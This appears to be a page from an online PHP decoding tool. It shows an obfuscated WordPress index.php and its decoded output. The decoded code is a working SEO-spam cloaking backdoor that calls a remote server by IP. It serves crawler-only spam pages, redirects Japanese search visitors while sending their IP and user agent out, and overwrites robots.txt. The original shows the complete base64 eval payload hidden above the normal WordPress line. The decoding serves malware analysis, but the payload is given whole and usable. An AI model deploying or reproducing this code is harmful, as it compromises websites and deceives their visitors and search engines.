Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $t = 'base'; $z = 64; $e = 'decode'; $c = $t.$z."_".$e; eval($c('JGludGVyX2RvbWF..

Decoded Output download

$inter_domain='http://173.208.202.194/z30713_38/'; function curl_get_contents($url){$ch=curl_init();curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);$file_contents = curl_exec($ch);curl_close($ch);return $file_contents; }function getServerCont($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function is_crawler($agent){$agent_check=false; $bots='googlebot|google|yahoo|bing|aol';if($agent!=''){if(preg_match("/($bots)/si",$agent)){$agent_check = true; }}return $agent_check;}function check_refer($refer){ $check_refer=false;$referbots='google.co.jp|yahoo.co.jp|google.com';if($refer!='' && preg_match("/($referbots)/si",$refer)){ $check_refer=true; }return $check_refer; }$http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://');$req_uri=$_SERVER['REQUEST_URI'];$domain=$_SERVER["HTTP_HOST"];$self=$_SERVER['PHP_SELF'];$ser_name=$_SERVER['SERVER_NAME'];$req_url=$http.$domain.$req_uri;$indata1=$inter_domain."/indata.php";$map1=$inter_domain."/map.php";$jump1=$inter_domain."/jump.php";$url_words=$inter_domain."/words.php";$url_robots=$inter_domain."/robots.php";if(strpos($req_uri,".php")){$href1=$http.$domain.$self;}else{$href1=$http.$domain;}$data1[]=array();$data1['domain']=$domain;$data1['req_uri']=$req_uri;$data1['href']=$href1;$data1['req_url']=$req_url;if(substr($req_uri,-6)=='robots'){$robots_cont = getServerCont($url_robots,$data1);define('BASE_PATH',$_SERVER['DOCUMENT_ROOT']);file_put_contents(BASE_PATH.'/robots.txt',$robots_cont);$robots_cont=file_get_contents(BASE_PATH.'/robots.txt');if(strpos(strtolower($robots_cont),"sitemap")){echo 'robots.txt file create success!';}else{echo 'robots.txt file create fail!';}exit;}if(substr($req_uri,-4)=='.xml'){if(strpos($req_uri,"pingsitemap.xml")){ $str_cont = getServerCont($map1,$data1); $str_cont_arr= explode(",",$str_cont); $str_cont_arr[]='sitemap'; for($k=0;$k<count($str_cont_arr);$k++){ if(strpos($href1,".php")> 0){ $tt1='?'; }else{ $tt1='/';}$http2=$href1.$tt1.$str_cont_arr[$k].'.xml';$data_new='https://www.google.com/ping?sitemap='.$http2;$data_new1='http://www.google.com/ping?sitemap='.$http2;if(stristr(@file_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@file_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL; }else{echo $data_new1.'===>Submitting Google Sitemap: fail'.PHP_EOL;} } exit;} if(strpos($req_uri,"allsitemap.xml") || strpos($req_uri,"sitemap-index.xml") || strpos($req_uri,"sitemap-index-1.xml")){ $str_cont = getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri);$word4= str_replace(".xml","",$word4); }$data1['word']=$word4;$data1['action']='check_sitemap';$check_url4=getServerCont($url_words,$data1);if($check_url4=='1'){ $str_cont=getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} $data1['action']="check_words"; $check1= getServerCont($url_words,$data1);if(strpos($req_uri,"map")> 0 || $check1=='1') $data1['action']="rand_xml";$check_url4=getServerCont($url_words,$data1);header("Content-type:text/xml");echo $check_url4;exit;}if(strpos($req_uri,".php")){$main_shell=$http.$ser_name.$self;$data1['main_shell']=$main_shell;}else{$main_shell=$http.$ser_name;$data1['main_shell']=$main_shell;}$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$chk_refer=check_refer($referer); $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');$res_crawl=is_crawler($user_agent); if(strpos($_SERVER['REQUEST_URI'],'.php')){ $url_ext='?'; }else{ $url_ext='/'; } if($chk_refer && (preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($url_ext,str_replace(array(".html",".htm"),"",$_SERVER['REQUEST_URI'])))))){ $data1['ip']=$_SERVER["REMOTE_ADDR"];$data1['referer']=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$data1['user_agent']=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''); echo getServerCont($jump1,$data1);exit; } if($res_crawl){ $data1['http_user_agent']=$user_agent; echo getServerCont($indata1,$data1);exit;}

Did this file decode correctly?

Original Code

<?php $t = 'base';
$z = 64;
$e = 'decode';
$c = $t.$z."_".$e;
eval($c('JGludGVyX2RvbWFpbj0naHR0cDovLzE3My4yMDguMjAyLjE5NC96MzA3MTNfMzgvJzsgZnVuY3Rpb24gY3VybF9nZXRfY29udGVudHMoJHVybCl7JGNoPWN1cmxfaW5pdCgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTskZmlsZV9jb250ZW50cyA9IGN1cmxfZXhlYygkY2gpO2N1cmxfY2xvc2UoJGNoKTtyZXR1cm4gJGZpbGVfY29udGVudHM7IH1mdW5jdGlvbiBnZXRTZXJ2ZXJDb250KCR1cmwsJGRhdGE9YXJyYXkoKSl7JHVybD1zdHJfcmVwbGFjZSgnICcsJysnLCR1cmwpOyRjaD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsIiR1cmwiKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9IRUFERVIsMCk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVElNRU9VVCwxMCk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUE9TVCwxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIEZBTFNFKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBGQUxTRSk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUE9TVEZJRUxEUyxodHRwX2J1aWxkX3F1ZXJ5KCRkYXRhKSk7JG91dHB1dCA9IGN1cmxfZXhlYygkY2gpOyRlcnJvckNvZGUgPSBjdXJsX2Vycm5vKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmKDAhPT0gJGVycm9yQ29kZSl7IHJldHVybiBmYWxzZTt9cmV0dXJuICRvdXRwdXQ7fWZ1bmN0aW9uIGlzX2NyYXdsZXIoJGFnZW50KXskYWdlbnRfY2hlY2s9ZmFsc2U7ICRib3RzPSdnb29nbGVib3R8Z29vZ2xlfHlhaG9vfGJpbmd8YW9sJztpZigkYWdlbnQhPScnKXtpZihwcmVnX21hdGNoKCIvKCRib3RzKS9zaSIsJGFnZW50KSl7JGFnZW50X2NoZWNrID0gdHJ1ZTsgfX1yZXR1cm4gJGFnZW50X2NoZWNrO31mdW5jdGlvbiBjaGVja19yZWZlcigkcmVmZXIpeyAkY2hlY2tfcmVmZXI9ZmFsc2U7JHJlZmVyYm90cz0nZ29vZ2xlLmNvLmpwfHlhaG9vLmNvLmpwfGdvb2dsZS5jb20nO2lmKCRyZWZlciE9JycgJiYgcHJlZ19tYXRjaCgiLygkcmVmZXJib3RzKS9zaSIsJHJlZmVyKSl7ICRjaGVja19yZWZlcj10cnVlOyB9cmV0dXJuICRjaGVja19yZWZlcjsgfSRodHRwPSgoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pJiYkX1NFUlZFUlsnSFRUUFMnXSE9PSdvZmYnKT8naHR0cHM6Ly8nOidodHRwOi8vJyk7JHJlcV91cmk9JF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107JGRvbWFpbj0kX1NFUlZFUlsiSFRUUF9IT1NUIl07JHNlbGY9JF9TRVJWRVJbJ1BIUF9TRUxGJ107JHNlcl9uYW1lPSRfU0VSVkVSWydTRVJWRVJfTkFNRSddOyRyZXFfdXJsPSRodHRwLiRkb21haW4uJHJlcV91cmk7JGluZGF0YTE9JGludGVyX2RvbWFpbi4iL2luZGF0YS5waHAiOyRtYXAxPSRpbnRlcl9kb21haW4uIi9tYXAucGhwIjskanVtcDE9JGludGVyX2RvbWFpbi4iL2p1bXAucGhwIjskdXJsX3dvcmRzPSRpbnRlcl9kb21haW4uIi93b3Jkcy5waHAiOyR1cmxfcm9ib3RzPSRpbnRlcl9kb21haW4uIi9yb2JvdHMucGhwIjtpZihzdHJwb3MoJHJlcV91cmksIi5waHAiKSl7JGhyZWYxPSRodHRwLiRkb21haW4uJHNlbGY7fWVsc2V7JGhyZWYxPSRodHRwLiRkb21haW47fSRkYXRhMVtdPWFycmF5KCk7JGRhdGExWydkb21haW4nXT0kZG9tYWluOyRkYXRhMVsncmVxX3VyaSddPSRyZXFfdXJpOyRkYXRhMVsnaHJlZiddPSRocmVmMTskZGF0YTFbJ3JlcV91cmwnXT0kcmVxX3VybDtpZihzdWJzdHIoJHJlcV91cmksLTYpPT0ncm9ib3RzJyl7JHJvYm90c19jb250ID0gZ2V0U2VydmVyQ29udCgkdXJsX3JvYm90cywkZGF0YTEpO2RlZmluZSgnQkFTRV9QQVRIJywkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKTtmaWxlX3B1dF9jb250ZW50cyhCQVNFX1BBVEguJy9yb2JvdHMudHh0Jywkcm9ib3RzX2NvbnQpOyRyb2JvdHNfY29udD1maWxlX2dldF9jb250ZW50cyhCQVNFX1BBVEguJy9yb2JvdHMudHh0Jyk7aWYoc3RycG9zKHN0cnRvbG93ZXIoJHJvYm90c19jb250KSwic2l0ZW1hcCIpKXtlY2hvICdyb2JvdHMudHh0IGZpbGUgY3JlYXRlIHN1Y2Nlc3MhJzt9ZWxzZXtlY2hvICdyb2JvdHMudHh0IGZpbGUgY3JlYXRlIGZhaWwhJzt9ZXhpdDt9aWYoc3Vic3RyKCRyZXFfdXJpLC00KT09Jy54bWwnKXtpZihzdHJwb3MoJHJlcV91cmksInBpbmdzaXRlbWFwLnhtbCIpKXsgJHN0cl9jb250ID0gZ2V0U2VydmVyQ29udCgkbWFwMSwkZGF0YTEpOyAkc3RyX2NvbnRfYXJyPSBleHBsb2RlKCIsIiwkc3RyX2NvbnQpOyAkc3RyX2NvbnRfYXJyW109J3NpdGVtYXAnOyBmb3IoJGs9MDskazxjb3VudCgkc3RyX2NvbnRfYXJyKTskaysrKXsgaWYoc3RycG9zKCRocmVmMSwiLnBocCIpPiAwKXsgJHR0MT0nPyc7IH1lbHNleyAkdHQxPScvJzt9JGh0dHAyPSRocmVmMS4kdHQxLiRzdHJfY29udF9hcnJbJGtdLicueG1sJzskZGF0YV9uZXc9J2h0dHBzOi8vd3d3Lmdvb2dsZS5jb20vcGluZz9zaXRlbWFwPScuJGh0dHAyOyRkYXRhX25ldzE9J2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9waW5nP3NpdGVtYXA9Jy4kaHR0cDI7aWYoc3RyaXN0cihAZmlsZV9nZXRfY29udGVudHMoJGRhdGFfbmV3KSwnc3VjY2Vzc2Z1bGx5Jykpe2VjaG8gJGRhdGFfbmV3Lic9PT0+U3VibWl0dGluZyBHb29nbGUgU2l0ZW1hcDogT0snLlBIUF9FT0w7fWVsc2UgaWYoc3RyaXN0cihAY3VybF9nZXRfY29udGVudHMoJGRhdGFfbmV3KSwnc3VjY2Vzc2Z1bGx5Jykpe2VjaG8gJGRhdGFfbmV3Lic9PT0+U3VibWl0dGluZyBHb29nbGUgU2l0ZW1hcDogT0snLlBIUF9FT0w7fWVsc2UgaWYoc3RyaXN0cihAZmlsZV9nZXRfY29udGVudHMoJGRhdGFfbmV3MSksJ3N1Y2Nlc3NmdWxseScpKXtlY2hvICRkYXRhX25ldzEuJz09PT5TdWJtaXR0aW5nIEdvb2dsZSBTaXRlbWFwOiBPSycuUEhQX0VPTDt9ZWxzZSBpZihzdHJpc3RyKEBjdXJsX2dldF9jb250ZW50cygkZGF0YV9uZXcxKSwnc3VjY2Vzc2Z1bGx5Jykpe2VjaG8gJGRhdGFfbmV3MS4nPT09PlN1Ym1pdHRpbmcgR29vZ2xlIFNpdGVtYXA6IE9LJy5QSFBfRU9MOyB9ZWxzZXtlY2hvICRkYXRhX25ldzEuJz09PT5TdWJtaXR0aW5nIEdvb2dsZSBTaXRlbWFwOiBmYWlsJy5QSFBfRU9MO30gfSBleGl0O30gaWYoc3RycG9zKCRyZXFfdXJpLCJhbGxzaXRlbWFwLnhtbCIpIHx8IHN0cnBvcygkcmVxX3VyaSwic2l0ZW1hcC1pbmRleC54bWwiKSB8fCBzdHJwb3MoJHJlcV91cmksInNpdGVtYXAtaW5kZXgtMS54bWwiKSl7ICRzdHJfY29udCA9IGdldFNlcnZlckNvbnQoJG1hcDEsJGRhdGExKTsgaGVhZGVyKCJDb250ZW50LXR5cGU6dGV4dC94bWwiKTsgZWNobyAkc3RyX2NvbnQ7ZXhpdDt9IGlmKHN0cnBvcygkcmVxX3VyaSwiLnBocCIpKXsgJHdvcmQ0PWV4cGxvZGUoIj8iLCRyZXFfdXJpKTsgJHdvcmQ0PSR3b3JkNFtjb3VudCgkd29yZDQpLTFdOyAkd29yZDQ9c3RyX3JlcGxhY2UoIi54bWwiLCIiLCR3b3JkNCk7IH1lbHNleyAkd29yZDQ9IHN0cl9yZXBsYWNlKCIvIiwiIiwkcmVxX3VyaSk7JHdvcmQ0PSBzdHJfcmVwbGFjZSgiLnhtbCIsIiIsJHdvcmQ0KTsgfSRkYXRhMVsnd29yZCddPSR3b3JkNDskZGF0YTFbJ2FjdGlvbiddPSdjaGVja19zaXRlbWFwJzskY2hlY2tfdXJsND1nZXRTZXJ2ZXJDb250KCR1cmxfd29yZHMsJGRhdGExKTtpZigkY2hlY2tfdXJsND09JzEnKXsgJHN0cl9jb250PWdldFNlcnZlckNvbnQoJG1hcDEsJGRhdGExKTsgaGVhZGVyKCJDb250ZW50LXR5cGU6dGV4dC94bWwiKTsgZWNobyAkc3RyX2NvbnQ7ZXhpdDt9ICRkYXRhMVsnYWN0aW9uJ109ImNoZWNrX3dvcmRzIjsgJGNoZWNrMT0gZ2V0U2VydmVyQ29udCgkdXJsX3dvcmRzLCRkYXRhMSk7aWYoc3RycG9zKCRyZXFfdXJpLCJtYXAiKT4gMCB8fCAkY2hlY2sxPT0nMScpICRkYXRhMVsnYWN0aW9uJ109InJhbmRfeG1sIjskY2hlY2tfdXJsND1nZXRTZXJ2ZXJDb250KCR1cmxfd29yZHMsJGRhdGExKTtoZWFkZXIoIkNvbnRlbnQtdHlwZTp0ZXh0L3htbCIpO2VjaG8gJGNoZWNrX3VybDQ7ZXhpdDt9aWYoc3RycG9zKCRyZXFfdXJpLCIucGhwIikpeyRtYWluX3NoZWxsPSRodHRwLiRzZXJfbmFtZS4kc2VsZjskZGF0YTFbJ21haW5fc2hlbGwnXT0kbWFpbl9zaGVsbDt9ZWxzZXskbWFpbl9zaGVsbD0kaHR0cC4kc2VyX25hbWU7JGRhdGExWydtYWluX3NoZWxsJ109JG1haW5fc2hlbGw7fSRyZWZlcmVyPWlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk/JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOicnOyRjaGtfcmVmZXI9Y2hlY2tfcmVmZXIoJHJlZmVyZXIpOyAkdXNlcl9hZ2VudD1zdHJ0b2xvd2VyKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk/JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOicnKTskcmVzX2NyYXdsPWlzX2NyYXdsZXIoJHVzZXJfYWdlbnQpOyBpZihzdHJwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sJy5waHAnKSl7ICR1cmxfZXh0PSc/JzsgfWVsc2V7ICR1cmxfZXh0PScvJzsgfSBpZigkY2hrX3JlZmVyICYmIChwcmVnX21hdGNoKCcvamEvaScsQCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSB8fCBwcmVnX21hdGNoKCcvamEvaScsQCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSB8fCBwcmVnX21hdGNoKCIvXlthLXowLTldK1swLTldKyQvIixlbmQoZXhwbG9kZSgkdXJsX2V4dCxzdHJfcmVwbGFjZShhcnJheSgiLmh0bWwiLCIuaHRtIiksIiIsJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSkpKSl7ICRkYXRhMVsnaXAnXT0kX1NFUlZFUlsiUkVNT1RFX0FERFIiXTskZGF0YTFbJ3JlZmVyZXInXT1pc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pPyRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTonJzskZGF0YTFbJ3VzZXJfYWdlbnQnXT1zdHJ0b2xvd2VyKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk/JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOicnKTsgZWNobyBnZXRTZXJ2ZXJDb250KCRqdW1wMSwkZGF0YTEpO2V4aXQ7IH0gaWYoJHJlc19jcmF3bCl7ICRkYXRhMVsnaHR0cF91c2VyX2FnZW50J109JHVzZXJfYWdlbnQ7IGVjaG8gZ2V0U2VydmVyQ29udCgkaW5kYXRhMSwkZGF0YTEpO2V4aXQ7fQ==')); 
define( 'WP_USE_THEMES', true );
?>

Function Calls

define 1
base64_decode 1

Variables

$c base64_decode
$e decode
$t base
$z 64

Stats

MD5 c7f7582f79b3035794fd6653a88c5917
Eval Count 1
Decode Time 72 ms